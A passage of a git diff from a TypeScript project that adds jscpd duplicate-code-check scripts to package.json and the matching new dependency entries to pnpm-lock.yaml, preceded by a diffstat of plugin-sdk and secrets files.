src/plugin-sdk/allowlist-resolution.ts | 19 + src/plugin-sdk/bluebubbles.ts | 6 +- src/plugin-sdk/channel-send-result.ts | 14 + src/plugin-sdk/discord-send.ts | 33 + src/plugin-sdk/feishu.ts | 2 + src/plugin-sdk/imessage.ts | 1 + src/plugin-sdk/inbound-reply-dispatch.ts | 143 +++++ src/plugin-sdk/index.ts | 38 +- src/plugin-sdk/irc.ts | 1 + src/plugin-sdk/line.ts | 6 +- src/plugin-sdk/matrix.ts | 9 +- src/plugin-sdk/minimax-portal-auth.ts | 1 + src/plugin-sdk/msteams.ts | 4 + src/plugin-sdk/nextcloud-talk.ts | 6 + src/plugin-sdk/qwen-portal-auth.ts | 1 + src/plugin-sdk/reply-payload.test.ts | 58 ++ src/plugin-sdk/reply-payload.ts | 49 ++ src/plugin-sdk/request-url.test.ts | 17 + src/plugin-sdk/request-url.ts | 12 + src/plugin-sdk/runtime.test.ts | 39 ++ src/plugin-sdk/runtime.ts | 20 + src/plugin-sdk/status-helpers.test.ts | 38 ++ src/plugin-sdk/status-helpers.ts | 35 +- src/plugin-sdk/telegram.ts | 1 + src/plugin-sdk/zalo.ts | 13 +- src/plugin-sdk/zalouser.ts | 9 +- .../wired-hooks-after-tool-call.e2e.test.ts | 15 +- src/secrets/auth-profiles-scan.ts | 46 +- src/secrets/auth-store-paths.ts | 40 ++ src/secrets/path-utils.test.ts | 29 +- src/secrets/path-utils.ts | 140 +++-- src/secrets/resolve-secret-input-string.ts | 41 ++ src/secrets/resolve.ts | 83 ++- src/secrets/storage-scan.ts | 41 +- src/secrets/target-registry-query.ts | 185 +++--- src/shared/frontmatter.ts | 15 + src/slack/monitor/events/interactions.ts | 21 +- src/test-utils/imessage-test-plugin.ts | 17 +- 114 files changed, 3400 insertions(+), 2040 deletions(-) create mode 100644 src/agents/pi-tool-handler-state.test-helpers.ts create mode 100644 src/agents/test-helpers/usage-fixtures.ts create mode 100644 src/agents/trace-base.ts create mode 100644 src/auto-reply/reply/get-reply.test-mocks.ts create mode 100644 src/channels/plugins/config-helpers.test.ts create mode 100644 src/gateway/auth-config-utils.ts create mode 100644 src/infra/parse-finite-number.test.ts create mode 100644 src/infra/parse-finite-number.ts create mode 100644 src/memory/batch-status.test.ts create mode 100644 src/memory/batch-status.ts create mode 100644 src/plugin-sdk/allowlist-resolution.test.ts create mode 100644 src/plugin-sdk/allowlist-resolution.ts create mode 100644 src/plugin-sdk/channel-send-result.ts create mode 100644 src/plugin-sdk/discord-send.ts create mode 100644 src/plugin-sdk/inbound-reply-dispatch.ts create mode 100644 src/plugin-sdk/reply-payload.test.ts create mode 100644 src/plugin-sdk/request-url.test.ts create mode 100644 src/plugin-sdk/request-url.ts create mode 100644 src/plugin-sdk/runtime.test.ts create mode 100644 src/secrets/auth-store-paths.ts create mode 100644 src/secrets/resolve-secret-input-string.ts diff --git a/package.json b/package.json index d8782f9088c..a61fbb92d92 100644 --- a/package.json +++ b/package.json @@ -246,6 +246,8 @@ "docs:list": "node scripts/docs-list.js", "docs:spellcheck": "bash scripts/docs-spellcheck.sh", "docs:spellcheck:fix": "bash scripts/docs-spellcheck.sh --write", + "dup:check": "jscpd src extensions test scripts --format typescript,javascript --pattern \"**/*.{ts,tsx,js,mjs,cjs}\" --gitignore --noSymlinks --ignore \"**/node_modules/**,**/dist/**,**/.git/**,**/coverage/**,**/build/**,**/.build/**,**/.artifacts/**\" --min-lines 12 --min-tokens 80 --reporters console", + "dup:check:json": "jscpd src extensions test scripts --format typescript,javascript --pattern \"**/*.{ts,tsx,js,mjs,cjs}\" --gitignore --noSymlinks --ignore \"**/node_modules/**,**/dist/**,**/.git/**,**/coverage/**,**/build/**,**/.build/**,**/.artifacts/**\" --min-lines 12 --min-tokens 80 --reporters json --output .artifacts/jscpd", "format": "oxfmt --write", "format:all": "pnpm format && pnpm format:swift", "format:check": "oxfmt --check", @@ -393,6 +395,7 @@ "@types/ws": "^8.18.1", "@typescript/native-preview": "7.0.0-dev.20260301.1", "@vitest/coverage-v8": "^4.0.18", + "jscpd": "4.0.8", "lit": "^3.3.2", "oxfmt": "0.35.0", "oxlint": "^1.50.0", diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 9a39f1b6c68..9094d0caeea 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -212,6 +212,9 @@ importers: '@vitest/coverage-v8': specifier: ^4.0.18 version: 4.0.18(@vitest/browser@4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18))(vitest@4.0.18) + jscpd: + specifier: 4.0.8 + version: 4.0.8 lit: specifier: ^3.3.2 version: 3.3.2 @@ -861,6 +864,10 @@ packages: '@cloudflare/workers-types@4.20260120.0': resolution: {integrity: sha512-B8pueG+a5S+mdK3z8oKu1ShcxloZ7qWb68IEyLLaepvdryIbNC7JVPcY0bWsjS56UQVKc5fnyRge3yZIwc9bxw==} + '@colors/colors@1.5.0': + resolution: {integrity: sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==} + engines: {node: '>=0.1.90'} + '@cypress/request-promise@5.0.0': resolution: {integrity: sha512-eKdYVpa9cBEw2kTBlHeu1PP16Blwtum6QHg/u9s/MoHkZfuo1pRGka1VlUHXF5kdew82BvOJVVGk0x8X0nbp+w==} engines: {node: '>=0.10.0'} @@ -1298,6 +1305,21 @@ packages: '@js-sdsl/ordered-map@4.4.2': resolution: {integrity: sha512-iUKgm52T8HOE/makSxjqoWhe95ZJA1/G1sYsGev2JDKUSS14KAgg1LHb+Ba+IPow0xflbnSkOsZcO08C7w1gYw==} + '@jscpd/badge-reporter@4.0.4': + resolution: {integrity: sha512-I9b4MmLXPM2vo0SxSUWnNGKcA4PjQlD3GzXvFK60z43cN/EIdLbOq3FVwCL+dg2obUqGXKIzAm7EsDFTg0D+mQ==} + + '@jscpd/core@4.0.4': + resolution: {integrity: sha512-QGMT3iXEX1fI6lgjPH+x8eyJwhwr2KkpSF5uBpjC0Z5Xloj0yFTFLtwJT+RhxP/Ob4WYrtx2jvpKB269oIwgMQ==} + + '@jscpd/finder@4.0.4': + resolution: {integrity: sha512-qVUWY7Nzuvfd5OIk+n7/5CM98LmFroLqblRXAI2gDABwZrc7qS+WH2SNr0qoUq0f4OqwM+piiwKvwL/VDNn/Cg==} + + '@jscpd/html-reporter@4.0.4': + resolution: {integrity: sha512-YiepyeYkeH74Kx59PJRdUdonznct0wHPFkf6FLQN+mCBoy6leAWCcOfHtcexnp+UsBFDlItG5nRdKrDSxSH+Kg==} + + '@jscpd/tokenizer@4.0.4': + resolution: {integrity: sha512-xxYYY/qaLah/FlwogEbGIxx9CjDO+G9E6qawcy26WwrflzJb6wsnhjwdneN6Wb0RNCDsqvzY+bzG453jsin4UQ==} + '@keyv/bigmap@1.3.1': resolution: {integrity: sha512-WbzE9sdmQtKy8vrNPa9BRnwZh5UF4s1KTmSK0KUVLo3eff5BlQNNWDnFOouNpKfPKDnms9xynJjsMYjMaT/aFQ==} engines: {node: '>= 18'} @@ -1685,6 +1707,18 @@ packages: cpu: [x64] os: [win32] + '@nodelib/fs.scandir@2.1.5': + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + + '@nodelib/fs.stat@2.0.5': + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} + + '@nodelib/fs.walk@1.2.8': + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} + '@nolyfill/domexception@1.0.28': resolution: {integrity: sha512-tlc/FcYIv5i8RYsl2iDil4A0gOihaas1R5jPcIC4Zw3GhjKsVilw90aHcVlhZPTBLGBzd379S+VcnsDjd9ChiA==} engines: {node: '>=12.4.0'} @@ -3089,6 +3123,9 @@ packages: '@types/retry@0.12.0': resolution: {integrity: sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==} + '@types/sarif@2.1.7': + resolution: {integrity: sha512-kRz0VEkJqWLf1LLVN4pT1cg1Z9wAuvI6L97V3m2f5B76Tg8d413ddvLBPTEHAZJlnn4XSvu0FkZtViCQGVyrXQ==} + '@types/send@0.17.6': resolution: {integrity: sha512-Uqt8rPBE8SY0RK8JB1EzVOIZ32uqy8HwdxCnoCOsYrvnswqmFZ/k+9Ikidlk/ImhsdvBsloHbAlewb2IEBV/Og==} @@ -3274,6 +3311,11 @@ packages: peerDependencies: acorn: ^8 + acorn@7.4.1: + resolution: {integrity: sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==} + engines: {node: '>=0.4.0'} + hasBin: true + acorn@8.16.0: resolution: {integrity: sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==} engines: {node: '>=0.4.0'} @@ -3363,9 +3405,15 @@ packages: array-flatten@1.1.1: resolution: {integrity: sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==} + asap@2.0.6: + resolution: {integrity: sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==} + asn1@0.2.6: resolution: {integrity: sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==} + assert-never@1.4.0: + resolution: {integrity: sha512-5oJg84os6NMQNl27T9LnZkvvqzvAnHu03ShCnoj6bsJwS7L8AO4lf+C/XjK/nvzEqQB744moC6V128RucQd1jA==} + assert-plus@1.0.0: resolution: {integrity: sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==} engines: {node: '>=0.8'} @@ -3428,6 +3476,13 @@ packages: react-native-b4a: optional: true + babel-walk@3.0.0-canary-5: + resolution: {integrity: sha512-GAwkz0AihzY5bkwIY5QDR+LvsRQgB/B+1foMPvi0FZPMl5fjD7ICiznUiBdLYMH1QYe6vqu4gWYytZOccLouFw==} + engines: {node: '>= 10.0.0'} + + badgen@3.2.3: + resolution: {integrity: sha512-svDuwkc63E/z0ky3drpUppB83s/nlgDciH9m+STwwQoWyq7yCgew1qEfJ+9axkKdNq7MskByptWUN9j1PGMwFA==} + balanced-match@4.0.4: resolution: {integrity: sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==} engines: {node: 18 || 20 || >=22} @@ -3467,6 +3522,10 @@ packages: birpc@4.0.0: resolution: {integrity: sha512-LShSxJP0KTmd101b6DRyGBj57LZxSDYWKitQNW/mi8GRMvZb078Uf9+pveax1DrVL89vm7mWe+TovdI/UDOuPw==} + blamer@1.0.7: + resolution: {integrity: sha512-GbBStl/EVlSWkiJQBZps3H1iARBrC7vt++Jb/TTmCNu/jZ04VW7tSN1nScbFXBUy1AN+jzeL7Zep9sbQxLhXKA==} + engines: {node: '>=8.9'} + bluebird@3.7.2: resolution: {integrity: sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==} @@ -3491,6 +3550,10 @@ packages: resolution: {integrity: sha512-fy6KJm2RawA5RcHkLa1z/ScpBeA762UF9KmZQxwIbDtRJrgLzM10depAiEQ+CXYcoiqW1/m96OAAoke2nE9EeA==} engines: {node: 18 || 20 || >=22} + braces@3.0.3: + resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} + engines: {node: '>=8'} + browser-or-node@1.3.0: resolution: {integrity: sha512-0F2z/VSnLbmEeBcUrSuDH5l0HxTXdQQzLjkmBR4cYfvg1zJrKSlmIZFqyFR8oX0NrwPhy3c3HQ6i3OxMbew4Tg==} @@ -3559,6 +3622,9 @@ packages: character-entities-legacy@3.0.0: resolution: {integrity: sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==} + character-parser@2.2.0: + resolution: {integrity: sha512-+UqJQjFEFaTAs3bNsF2j2kEN1baG/zghZbdqoYEDxGZtJo9LBzl1A+m0D4n3qKx8N2FNv8/Xp6yV9mQmBuptaw==} + chmodrp@1.0.2: resolution: {integrity: sha512-TdngOlFV1FLTzU0o1w8MB6/BFywhtLC0SzRTGJU7T9lmdjlCWeMRt1iVo0Ki+ldwNk0BqNiKoc8xpLZEQ8mY1w==} @@ -3594,6 +3660,10 @@ packages: resolution: {integrity: sha512-bXfOC4QcT1tKXGorxL3wbJm6XJPDqEnij2gQ2m7ESQuE+/z9YFIWnl/5RpTiKWbMq3EVKR4fRLJGn6DVfu0mpw==} engines: {node: '>=18.20'} + cli-table3@0.6.5: + resolution: {integrity: sha512-+W/5efTR7y5HRD7gACw9yQjqMVvEMLBHmboM/kPWam+H+Hmyrgjh6YncVKK122YZkXrLudzTuAukUw9FnMf7IQ==} + engines: {node: 10.* || >= 12.*} + cliui@7.0.4: resolution: {integrity: sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==} @@ -3620,6 +3690,10 @@ packages: resolution: {integrity: sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==} hasBin: true + colors@1.4.0: + resolution: {integrity: sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==} + engines: {node: '>=0.1.90'} + combined-stream@1.0.8: resolution: {integrity: sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==} engines: {node: '>= 0.8'} @@ -3647,9 +3721,16 @@ packages: resolution: {integrity: sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==} engines: {node: '>=20'} + commander@5.1.0: + resolution: {integrity: sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==} + engines: {node: '>= 6'} + console-control-strings@1.1.0: resolution: {integrity: sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==} + constantinople@4.0.1: + resolution: {integrity: sha512-vCrqcSIq4//Gx74TXXCGnHpulY1dskqLTFGDmhrGxzeXL8lF8kvXv6mpNWlJj1uD4DW23D4ljAqbY4RRaaUZIw==} + content-disposition@0.5.4: resolution: {integrity: sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==} engines: {node: '>= 0.6'} @@ -3789,6 +3870,9 @@ packages: discord-api-types@0.38.40: resolution: {integrity: sha512-P/His8cotqZgQqrt+hzrocp9L8RhQQz1GkrCnC9TMJ8Uw2q0tg8YyqJyGULxhXn/8kxHETN4IppmOv+P2m82lQ==} + doctypes@1.1.0: + resolution: {integrity: sha512-LLBi6pEqS6Do3EKQ3J0NqHWV5hhb78Pi8vvESYwyOy2c31ZEZVdtitdzsQsKb7878PEERhzUk0ftqGhG6Mz+pQ==} + dom-serializer@2.0.0: resolution: {integrity: sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==} @@ -3940,6 +4024,10 @@ packages: events-universal@1.0.1: resolution: {integrity: sha512-LUd5euvbMLpwOF8m6ivPCbhQeSiYVNb8Vs0fQ8QjXo0JTkEHpz8pxdQf0gStltaPpw0Cca8b39KxvK9cfKRiAw==} + execa@4.1.0: + resolution: {integrity: sha512-j5W0//W7f8UxAn8hXVnwG8tLwdiUy4FJLcSupCg6maBYZDpyBvTApK7KyuI4bKj8KOh1r2YH+6ucuYtJv1bTZA==} + engines: {node: '>=10'} + expect-type@1.3.0: resolution: {integrity: sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==} engines: {node: '>=12.0.0'} @@ -3976,6 +4064,10 @@ packages: fast-fifo@1.3.2: resolution: {integrity: sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==} + fast-glob@3.3.3: + resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==} + engines: {node: '>=8.6.0'} + fast-uri@3.1.0: resolution: {integrity: sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==} @@ -3983,6 +4075,9 @@ packages: resolution: {integrity: sha512-53jIF4N6u/pxvaL1eb/hEZts/cFLWZ92eCfLrNyCI0k38lettCG/Bs40W9pPwoPXyHQlKu2OUbQtiEIZK/J6Vw==} hasBin: true + fastq@1.20.1: + resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==} + fd-slicer@1.1.0: resolution: {integrity: sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==} @@ -4011,6 +4106,10 @@ packages: resolution: {integrity: sha512-vqIlNogKeyD3yzrm0yhRMQg8hOVwYcYRfjEoODd49iCprMn4HL85gK3HcykQE53EPIpX3HcAbGA5ELQv216dAQ==} engines: {node: '>=16'} + fill-range@7.1.1: + resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} + engines: {node: '>=8'} + finalhandler@1.3.2: resolution: {integrity: sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg==} engines: {node: '>= 0.8'} @@ -4126,6 +4225,14 @@ packages: getpass@0.1.7: resolution: {integrity: sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==} + gitignore-to-glob@0.3.0: + resolution: {integrity: sha512-mk74BdnK7lIwDHnotHddx1wsjMOFIThpLY3cPNniJ/2fA/tlLzHnFxIdR+4sLOu5KGgQJdij4kjJ2RoUNnCNMA==} + engines: {node: '>=4.4 <5 || >=6.9'} + + glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} + glob-to-regexp@0.4.1: resolution: {integrity: sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==} @@ -4256,6 +4363,10 @@ packages: resolution: {integrity: sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==} engines: {node: '>= 14'} + human-signals@1.1.1: + resolution: {integrity: sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw==} + engines: {node: '>=8.12.0'} + iconv-lite@0.4.24: resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==} engines: {node: '>=0.10.0'} @@ -4311,9 +4422,20 @@ packages: ircv3@0.33.0: resolution: {integrity: sha512-7rK1Aial3LBiFycE8w3MHiBBFb41/2GG2Ll/fR2IJj1vx0pLpn1s+78K+z/I4PZTqCCSp/Sb4QgKMh3NMhx0Kg==} + is-core-module@2.16.1: + resolution: {integrity: sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==} + engines: {node: '>= 0.4'} + is-electron@2.2.2: resolution: {integrity: sha512-FO/Rhvz5tuw4MCWkpMzHFKWD2LsfHzIb7i6MdPYZ/KW7AlxawyLkqdy+jPZP1WubqEADE3O4FUENlJHDfQASRg==} + is-expression@4.0.0: + resolution: {integrity: sha512-zMIXX63sxzG3XrkHkrAPvm/OVZVSCPNkwMHU8oTX7/U3AL78I0QXCEICXUM13BIa8TYGZ68PiTKfQz3yaTNr4A==} + + is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + is-fullwidth-code-point@3.0.0: resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} engines: {node: '>=8'} @@ -4322,10 +4444,18 @@ packages: resolution: {integrity: sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==} engines: {node: '>=18'} + is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + is-interactive@2.0.0: resolution: {integrity: sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ==} engines: {node: '>=12'} + is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} + is-plain-object@5.0.0: resolution: {integrity: sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==} engines: {node: '>=0.10.0'} @@ -4336,6 +4466,10 @@ packages: is-promise@4.0.0: resolution: {integrity: sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==} + is-regex@1.2.1: + resolution: {integrity: sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==} + engines: {node: '>= 0.4'} + is-stream@2.0.1: resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==} engines: {node: '>=8'} @@ -4382,12 +4516,22 @@ packages: jose@4.15.9: resolution: {integrity: sha512-1vUQX+IdDMVPj4k8kOxgUqlcK518yluMuGZwqlr44FS1ppZB/5GWh4rZG89erpOBOJjU/OBsnCVFfapsRz6nEA==} + js-stringify@1.0.2: + resolution: {integrity: sha512-rtS5ATOo2Q5k1G+DADISilDA6lv79zIiwFd6CcjuIxGKLFm5C+RLImRscVap9k55i+MOZwgliw+NejvkLuGD5g==} + js-tokens@10.0.0: resolution: {integrity: sha512-lM/UBzQmfJRo9ABXbPWemivdCW8V2G8FHaHdypQaIy523snUjog0W71ayWXTjiR+ixeMyVHN2XcpnTd/liPg/Q==} jsbn@0.1.1: resolution: {integrity: sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==} + jscpd-sarif-reporter@4.0.6: + resolution: {integrity: sha512-b9Sm3IPZ3+m8Lwa4gZa+4/LhDhlc/ZLEsLXKSOy1DANQ6kx0ueqZT+fUHWEdQ6m0o3+RIVIa7DmvLSojQD05ng==} + + jscpd@4.0.8: + resolution: {integrity: sha512-d2VNT/2Hv4dxT2/59He8Lyda4DYOxPRyRG9zBaOpTZAqJCVf2xLrBlZkT8Va6Lo9u3X2qz8Bpq4HrDi4JsrQhA==} + hasBin: true + jsesc@3.1.0: resolution: {integrity: sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==} engines: {node: '>=6'} @@ -4432,6 +4576,9 @@ packages: resolution: {integrity: sha512-gqXddjPqQ6G40VdnI6T6yObEC+pDNvyP95wdQhkWkg7crHH3km5qP1FsOXEkzEQwnz6gz5qGTn1c2Y52wP3OyQ==} engines: {'0': node >=0.6.0} + jstransformer@1.0.0: + resolution: {integrity: sha512-C9YK3Rf8q6VAPDCCU9fnqo3mAfOH6vUGnMcP4AQAYIEpWtfGLpwOTmZ+igtdK5y+VvI2n3CyYSzy4Qh34eq24A==} + jszip@3.10.1: resolution: {integrity: sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==} @@ -4663,6 +4810,9 @@ packages: resolution: {integrity: sha512-BuU2qnTti9YKgK5N+IeMubp14ZUKUUw7yeJbkjtosvHiP0AZ5c8IAgEMk79D0eC8F23r4Ac/q8cAIFdm2FtyoA==} hasBin: true + markdown-table@2.0.0: + resolution: {integrity: sha512-Ezda85ToJUBhM6WGaG6veasyym+Tbs3cMAw/ZhOPqXiYsr0jgocBV3j3nx+4lk47plLlIqjwuTm/ywVI+zjJ/A==} + marked@15.0.12: resolution: {integrity: sha512-8dD6FusOQSrpv9Z1rdNMdlSgQOIP880DHqnohobOmYLElGEqAL/JvxvuxZO16r4HtjTlfPRDC1hbvxC9dPN2nA==} engines: {node: '>= 18'} @@ -4698,6 +4848,13 @@ packages: resolution: {integrity: sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==} engines: {node: '>=18'} + merge-stream@2.0.0: + resolution: {integrity: sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==} + + merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} + methods@1.1.2: resolution: {integrity: sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==} engines: {node: '>= 0.6'} @@ -4717,6 +4874,10 @@ packages: micromark-util-types@2.0.2: resolution: {integrity: sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==} + micromatch@4.0.8: + resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} + engines: {node: '>=8.6'} + mime-db@1.52.0: resolution: {integrity: 